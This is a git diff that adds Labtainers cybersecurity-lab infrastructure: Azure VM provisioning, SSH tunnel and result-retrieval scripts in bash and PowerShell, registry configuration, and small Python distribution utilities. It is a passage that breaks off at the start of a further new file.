--git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/dotunnel.bat b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/dotunnel.bat new file mode 100644 index 000000000..39bcd7a8d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/dotunnel.bat @@ -0,0 +1,3 @@ +set fname=%1 +set ip=%2 +Start ssh -fN -L 6901:127.0.0.1:6901 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i %fname% labtainer@%ip% diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/generalize.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/generalize.sh new file mode 100755 index 000000000..be4bf477d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/generalize.sh @@ -0,0 +1,16 @@ + +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "generalize.sh " + exit +fi +user=$1 +vm=$user-labtainervm +ip=$(./getip.sh labtainerResources $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +ssh -i "~/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labtainer@$ip "sudo waagent -deprovision" +./deallocate_vm.sh $user +az vm generalize --resource-group labtainerResources --name $vm diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_disk_id.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_disk_id.sh new file mode 100755 index 000000000..2cbdcd8f4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_disk_id.sh @@ -0,0 +1,15 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "get_disk_id.sh " + exit +fi +user=$1 +vm=$user-labtainervm +osDiskId=$(az vm show \ + -g labtainerResources \ + -n $vm \ + --query "storageProfile.osDisk.managedDisk.id" \ + -o tsv) + +dbase=$(basename $osDiskId) +echo $dbase diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_headless.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_headless.ps1 new file mode 100755 index 000000000..5670085cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_headless.ps1 @@ -0,0 +1,10 @@ +If ($args.Count -ne 1){ + echo "update_user.ps1 " + exit +} +$ErrorActionPreference = "Stop" +$user_id=$args[0] +$vm_name=$user_id+"-labtainervm" +$ip=./getip.ps1 labtainerResources $vm_name +ssh -i "$HOME/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labtainer@$ip "mkdir headless_labtainers;cd headless_labtainers;wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/headless-labtainers.sh;chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh;sudo usermod -aG docker labtainer;sudo systemctl restart headless-labtainers.service;" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_headless.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_headless.sh new file mode 100755 index 000000000..b01b21950 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_headless.sh @@ -0,0 +1,14 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "get_headless.sh " + exit +fi +user=$1 +vm=$user-labtainervm +ip=$(./getip.sh labtainerResources $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi + +ssh -i "~/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labtainer@$ip "mkdir headless_labtainers;cd headless_labtainers;wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/headless-labtainers.sh;chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh;sudo usermod -aG docker labtainer;sudo systemctl restart headless-labtainers.service;" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_results.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_results.ps1 new file mode 100755 index 000000000..27609aad8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_results.ps1 @@ -0,0 +1,18 @@ +If ($args.Count -ne 1){ + echo "get_results.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +echo "Retrieving Labtainer results from $vm" +if (-not(test-path $HOME/labtainer_xfer)){ + mkdir -p $HOME/labtainer_xfer +} +$ip=./getip.ps1 labtainerResources $vm +if ($ip -eq "FAIL" ){ + echo "Failed to get ip of $vm" + exit 1 +} +echo "ip is $ip" +scp -i "$HOME/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -r labtainer@"$ip":/home/labtainer/headless-labtainers/labtainer_xfer/* $HOME/labtainer_xfer/ +echo "Results stored in $HOME/labtainer_xfer" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_results.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_results.sh new file mode 100755 index 000000000..8b47ad15f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/get_results.sh @@ -0,0 +1,17 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "get_results.sh " + exit +fi +user=$1 +vm=$user-labtainervm +echo "Retrieving Labtainer results from $vm" +mkdir -p ~/labtainer_xfer +ip=$(./getip.sh labtainerResources $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +scp -i "~/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -r labtainer@$ip:~/headless-labtainers/labtainer_xfer/* ~/labtainer_xfer/ +echo "Results stored in $HOME/labtainer_xfer" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/getip.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/getip.ps1 new file mode 100644 index 000000000..48318a660 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/getip.ps1 @@ -0,0 +1,9 @@ +$resource=$args[0] +$vm=$args[1] +$result=az vm show -d -g $resource -n $vm --query publicIps -o tsv +If ($result -eq $null){ + echo "FAIL" +}else{ + echo $result + echo $result > myip.txt +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/getip.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/getip.sh new file mode 100755 index 000000000..8151d1302 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/getip.sh @@ -0,0 +1,10 @@ +#!/bin/bash +resource=$1 +vm=$2 +result=$(az vm show -d -g $resource -n $vm --query publicIps -o tsv) +if [ -z "${result}" ]; then + echo "FAIL" +else + echo $result + echo $result > myip.txt +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/image_create.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/image_create.sh new file mode 100755 index 000000000..d5dcd3e03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/image_create.sh @@ -0,0 +1,9 @@ +galleryName=labtainersGallery +resourceGroup=labtainersGalleryResources +imageDefinition=labtainersImageDefinition +az sig image-version create \ + --resource-group $resourceGroup \ + --gallery-name $galleryName \ + --gallery-image-definition $imageDefinition \ + --gallery-image-version 1.0.0 \ + --virtual-machine "/subscriptions/4747feb2-6851-42cd-9ccf-e07f7fcb6560/resourceGroups/LABTAINERRESOURCES/providers/Microsoft.Compute/virtualMachines/base-labtainervm" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/image_def.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/image_def.sh new file mode 100755 index 000000000..25345241e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/image_def.sh @@ -0,0 +1,12 @@ +galleryName=labtainersGallery +resourceGroup=labtainersGalleryResources +imageDefinition=labtainersImageDefinition +az sig image-definition create \ + --resource-group $resourceGroup \ + --gallery-name $galleryName \ + --gallery-image-definition $imageDefinition \ + --publisher labtainers \ + --offer myOffer \ + --sku labtainersImage \ + --os-type Linux \ + --os-state generalized diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/install_labtainers.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/install_labtainers.ps1 new file mode 100644 index 000000000..9ce0e54df --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/install_labtainers.ps1 @@ -0,0 +1,13 @@ +$azdir = "$HOME\labtainers_azure" +if(-Not test-path $azdir){ + mkdir -p "$azdir" +} +cd "$azdir" +wget https://github.com/mfthomps/Labtainers/releases/latest/download/azure.tar -OutFile $env:TEMP\azure.tar +tar -xf $env:TEMP\azure.tar +echo "" +echo "Labtainers for Azure scripts installed in $azdir" +echo "cd to that directory and run ./create_vm.ps1, passsing in a user name, e.g., " +echo " ./create_vm.ps1 myname" +echo "" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/install_labtainers.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/install_labtainers.sh new file mode 100755 index 000000000..5f159e693 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/install_labtainers.sh @@ -0,0 +1,12 @@ +#!/bin/bash +azdir=$HOME/labtainers_azure +mkdir -p "$azdir" +cd "$azdir" +curl -L https://github.com/mfthomps/Labtainers/releases/latest/download/azure.tar --output /tmp/azure.tar +tar -xf /tmp/azure.tar +echo "" +echo "Labtainers for Azure scripts installed in $azdir" +echo "cd to that directory and run ./create_vm.sh, passsing in a user name, e.g., " +echo " ./create_vm.sh myname" +echo "" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/list-gallery.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/list-gallery.sh new file mode 100644 index 000000000..47b895b33 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/list-gallery.sh @@ -0,0 +1 @@ +az sig image-definition list-community --public-gallery-name LabtainersImages-fb345820-6f7a-4fbf-b106-7d50e3b601f2 --location "westus" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/newterm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/newterm.sh new file mode 100755 index 000000000..583c97d2d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/newterm.sh @@ -0,0 +1,16 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "newterm.sh " + echo "Create a new terminal on the VNC desktop." + exit +fi +user=$1 +vm=$user-labtainervm +echo "get the IP" +ip=$(./getip.sh labtainerResources $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +scp do_newterm.sh labtainer@$ip:/tmp/ +ssh labtainer@$ip /tmp/do_newterm.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/resourcecheck.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/resourcecheck.ps1 new file mode 100644 index 000000000..2c0bcf9e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/resourcecheck.ps1 @@ -0,0 +1,6 @@ +$result=az group list | findstr labtainerResources +If ($result -eq $null){ + az group create -l westus3 -n labtainerResources --output none +}else{ + echo "Labtainer resource group exists." +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/resourcecheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/resourcecheck.sh new file mode 100755 index 000000000..6765cad5c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/resourcecheck.sh @@ -0,0 +1,8 @@ +#!/bin/bash +result=$(az group list | grep labtainerResources) +if [ -z "${result}" ]; then + echo "Creating Labtainer resource group." + az group create -l westus3 -n labtainerResources --output none || exit 1 +else + echo "Labtainer resource group exists." +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restart.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restart.ps1 new file mode 100755 index 000000000..72c6feabf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restart.ps1 @@ -0,0 +1,8 @@ +If ($args.Count -ne 1){ + echo "delete_vm.ps1 " + exit +} +$ErrorActionPreference = "Stop" +$user=$args[0] +./checktunnel.sh $user +echo "Point your browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restart.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restart.sh new file mode 100755 index 000000000..d5826775c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restart.sh @@ -0,0 +1,8 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "restart.sh " + exit +fi +user=$1 +./checktunnel.sh $user || exit 1 +echo "Point your browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restore_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restore_vm.ps1 new file mode 100644 index 000000000..0b198b895 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restore_vm.ps1 @@ -0,0 +1,9 @@ +If ($args.Count -ne 1){ + echo "restore_vm.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +az vm start -g labtainerResources -n $vm +Start-Sleep -s 2 +./waitdone.ps1 $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restore_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restore_vm.sh new file mode 100755 index 000000000..2b15dfe0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/restore_vm.sh @@ -0,0 +1,11 @@ +#!/bin/bash +echo "in restore_vm.sh" +if [ "$#" -ne 1 ]; then + echo "restore_vm.sh " + exit +fi +user=$1 +vm=$user-labtainervm +az vm start -g labtainerResources -n $vm +sleep 2 +./waitweb.sh $user diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/share_gallery.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/share_gallery.sh new file mode 100755 index 000000000..cb44a6955 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/share_gallery.sh @@ -0,0 +1,3 @@ +galleryName=labtainersGallery +resourceGroup=labtainersGalleryResources +az sig share enable-community --gallery-name $galleryName --resource-group $resourceGroup diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/snapshot_disk.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/snapshot_disk.sh new file mode 100755 index 000000000..c4ad9164f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/snapshot_disk.sh @@ -0,0 +1,18 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "get_disk_id.sh " + exit +fi +user=$1 +vm=$user-labtainervm +osDiskId=$(az vm show \ + -g labtainerResources \ + -n $vm \ + --query "storageProfile.osDisk.managedDisk.id" \ + -o tsv) + +snapname=$vm-snapshot +az snapshot create \ + --resource-group labtainerResources \ + --source "$osDiskId" \ + --name $snapname diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/stop_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/stop_vm.sh new file mode 100755 index 000000000..9800c9faf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/stop_vm.sh @@ -0,0 +1,9 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "stop.sh " + exit +fi +user=$1 +vm=$user-labtainervm +az vm stop -g labtainerResources -n $vm +echo "VM $vm has been stopoed." diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/update_user.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/update_user.ps1 new file mode 100755 index 000000000..893f5feb9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/update_user.ps1 @@ -0,0 +1,13 @@ +If ($args.Count -ne 1){ + echo "update_user.ps1 " + exit +} +$ErrorActionPreference = "Stop" +$user_id=$args[0] +$vm_name=$user_id+"-labtainervm" +if (-not(test-path $HOME/.ssh/id_labtainers)){ + ssh-keygen -b 2048 -t rsa -f $HOME/.ssh/id_labtainers -q -N '""' +} +$key = Get-Content $HOME/.ssh/id_labtainers.pub -Raw +echo "key is $key" +az vm user update -u labtainer -n $vm_name -g labtainerResources --output none --ssh-key-value "$key" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/update_user.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/update_user.sh new file mode 100755 index 000000000..28db3559e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/update_user.sh @@ -0,0 +1,10 @@ +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +if [ ! -f ~/.ssh/id_labtainers ]; then + ssh-keygen -b 2048 -t rsa -f ~/.ssh/id_labtainers -q -N "" +fi +az vm user update -u labtainer --ssh-key-value "$(< ~/.ssh/id_labtainers.pub)" -n $vm_name -g labtainerResources --output none diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/wait_tunnel.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/wait_tunnel.ps1 new file mode 100644 index 000000000..7bfb06ce4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/wait_tunnel.ps1 @@ -0,0 +1,17 @@ +If ($args.Count -ne 1){ + echo "wait_tunnel.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +Write-Host -NoNewLine "Waiting for VM to provision and reboot. This may take a few minutes..." +while($true){ + $result=netstat -an | findstr 6901 + If ($result -eq $null){ + echo "gone" + exit + }else{ + Write-Host -NoNewLine "." + Start-Sleep -s 5 + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/wait_tunnel.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/wait_tunnel.sh new file mode 100755 index 000000000..1bc9a8186 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/wait_tunnel.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "wait_tunnel.sh " + exit +fi +user=$1 +vm=$user-labtainervm +echo -n "Waiting for VM to provision and reboot. This may take a few minutes..." +while : +do + result=$(ps aux | grep ssh | grep 6901) + if [ -z "${result}" ]; then + echo "gone" + exit + else + echo -n "." + sleep 20 + fi +done diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone.ps1 new file mode 100644 index 000000000..79463c4c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone.ps1 @@ -0,0 +1,14 @@ +If ($args.Count -ne 1){ + echo "waitdone.ps1 " + exit +} +$user=$args[0] +# start the tunnel and wait for it to die, reflecting reboot. +echo "start the tunnel" +Start-Sleep -s 5 +./checktunnel.ps1 $user +Start-Sleep -s 5 +./wait_tunnel.ps1 $user +echo "Tunnel gone, wait 20 for reboot" +Start-Sleep -s 20 +./waitweb.ps1 $user diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone.sh new file mode 100755 index 000000000..2db3ed8c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "waitdone.sh " + exit +fi +user=$1 +./checktunnel.sh $user || exit 1 +rm -f index.html +echo "Waiting for remote Labtainers to become available. Please be patient." +while : +do + curl localhost:6901 --output index.html -s + if [ -f index.html ]; then + echo "Web server is up." + break + fi + sleep 20 +done +echo "Labtainers is up. Point a browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone2.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone2.sh new file mode 100755 index 000000000..1cce35681 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitdone2.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Used to create base VM. First waits for VM to die, reflecting that +# it has completed provisioning and has rebooted. Then waits for +# it to come back up. +# +if [ "$#" -ne 1 ]; then + echo "waitdone.sh " + exit +fi +user=$1 +# start the tunnel and wait for it to die, reflecting reboot. +echo "start the tunnel" +./checktunnel.sh $user || exit 1 +./wait_tunnel.sh $user || exit 1 +echo "Tunnel gone, wait 20 for reboot" +sleep 20 +./checktunnel.sh $user || exit 1 +./waitweb.sh $user diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitweb.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitweb.ps1 new file mode 100755 index 000000000..f32475f14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitweb.ps1 @@ -0,0 +1,23 @@ +If ($args.Count -ne 1){ + echo "waitweb.ps1 " + exit +} +$ErrorActionPreference = "Stop" +$user_id=$args[0] +$vm_name=$user_id+"-labtainervm" +echo "start the tunnel" +./checktunnel.ps1 $user_id +if(test-path index.html){ + remove-item index.html +} +Write-Host -NoNewLine "Waiting for remote Labtainers to become available..." +while($true){ + try{Invoke-WebRequest -Uri http://localhost:6901 -OutFile index.html} + catch{Write-Host -NoNewLine "."} + if (test-path index.html){ + echo "Web server is up." + break + } + Start-Sleep -s 20 +} +echo "Labtainers is up. Point browser to localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitweb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitweb.sh new file mode 100755 index 000000000..95cd65990 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/waitweb.sh @@ -0,0 +1,22 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "waitweb.sh " + exit +fi +user=$1 +echo "start the tunnel" +./checktunnel.sh $user || exit 1 +rm -f index.html +echo -n "Waiting for remote Labtainers to become available..." +while : +do + curl localhost:6901 --output index.html -s + if [ -f index.html ]; then + echo "" + echo "Web server is up." + break + fi + echo -n "." + sleep 5 +done +echo "Labtainers is up. Point a browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/config/gnome-terminal-profiles.dconf b/modules/utilities/unix/labtainers/files/Labtainers-master/config/gnome-terminal-profiles.dconf new file mode 100644 index 000000000..ed9176637 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/config/gnome-terminal-profiles.dconf @@ -0,0 +1,8 @@ +[/] +list=['b1dcc9dd-5262-4d8d-a863-c897e6d979b9', 'a6cfe45a-ac79-407b-9f30-b9d0dee71b79'] + +[:a6cfe45a-ac79-407b-9f30-b9d0dee71b79] +background-color='rgb(238,238,236)' +foreground-color='rgb(46,52,54)' +use-theme-colors=false +visible-name='labtainers' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config b/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config index 0123f9535..976a47682 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config @@ -36,5 +36,6 @@ GLOBAL_SETTINGS CONSOLE_LOG_LEVEL WARNING # An alternate apt/sources.list hostname. Default is archive.ubuntu.com #APT_SOURCE mirror.picosecond.org - DEFAULT_REGISTRY mfthomps + DEFAULT_REGISTRY labtainers TEST_REGISTRY testregistry:5000 + LEGACY_REGISTRY mfthomps diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/config/registry.config b/modules/utilities/unix/labtainers/files/Labtainers-master/config/registry.config new file mode 100644 index 000000000..85ed16339 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/config/registry.config @@ -0,0 +1,10 @@ +# +# Map git branches to local test registry port numbers. +# NOTE: the premaster port must match that in the labtainer.config file. +# +premaster 5000 +none 5001 +imodule 5002 +gns3 5003 +none 5004 +none 5005 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/LabtainerBase.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/LabtainerBase.py new file mode 100644 index 000000000..f578e670f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/LabtainerBase.py @@ -0,0 +1,59 @@ +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' +''' +Utilities for managing Labtainer bases +''' +import os +def getBaseList(skip_exempt=True): + retval = [] + labtainer_dir= os.getenv('LABTAINER_DIR') + if labtainer_dir is None: + print('LABTAINER_DIR not defined, exiting') + exit(1) + designer_path = os.path.join(labtainer_dir,'scripts','designer') + dfile = os.path.join(designer_path, 'base_dockerfiles') + base_list = os.listdir(dfile) + + exempt_file = os.path.join(designer_path, 'bin', 'exempt.txt') + exempt_list = [] + with open(exempt_file) as fh: + for line in fh: + exempt_list.append(line.strip()) + for base in base_list: + if base.startswith('Dockerfile'): + full = os.path.join(dfile, base) + + image_name = base.split('.',1)[1] + image_ext = image_name.split('.',1)[1] + #print(image_name) + if not skip_exempt or image_name not in exempt_list: + retval.append(image_name) + return retval + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py index 84b8c9017..8e432347f 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py @@ -1,4 +1,33 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' import os import sys import argparse @@ -41,7 +70,7 @@ def do_lab(lab_dir, lab, role, registry): if not base.startswith(image_base): cmd = './relabel.sh %s %s %s %s %s' % (registry, framework_version , image, image_base, base_id) print("MISMATCH") - print cmd + print(cmd) os.system(cmd) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cloneOrPull.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cloneOrPull.sh new file mode 100755 index 000000000..ffc9a4172 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cloneOrPull.sh @@ -0,0 +1,11 @@ +#!/bin/bash +if [[ ! -d Labtainers ]]; then + git clone https://github.com/mfthomps/Labtainers.git + cd Labtainers +else + cd Labtainers + # avoid conflicts + git checkout README.md + git pull +fi +git checkout premaster diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cloneSimlab.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cloneSimlab.sh new file mode 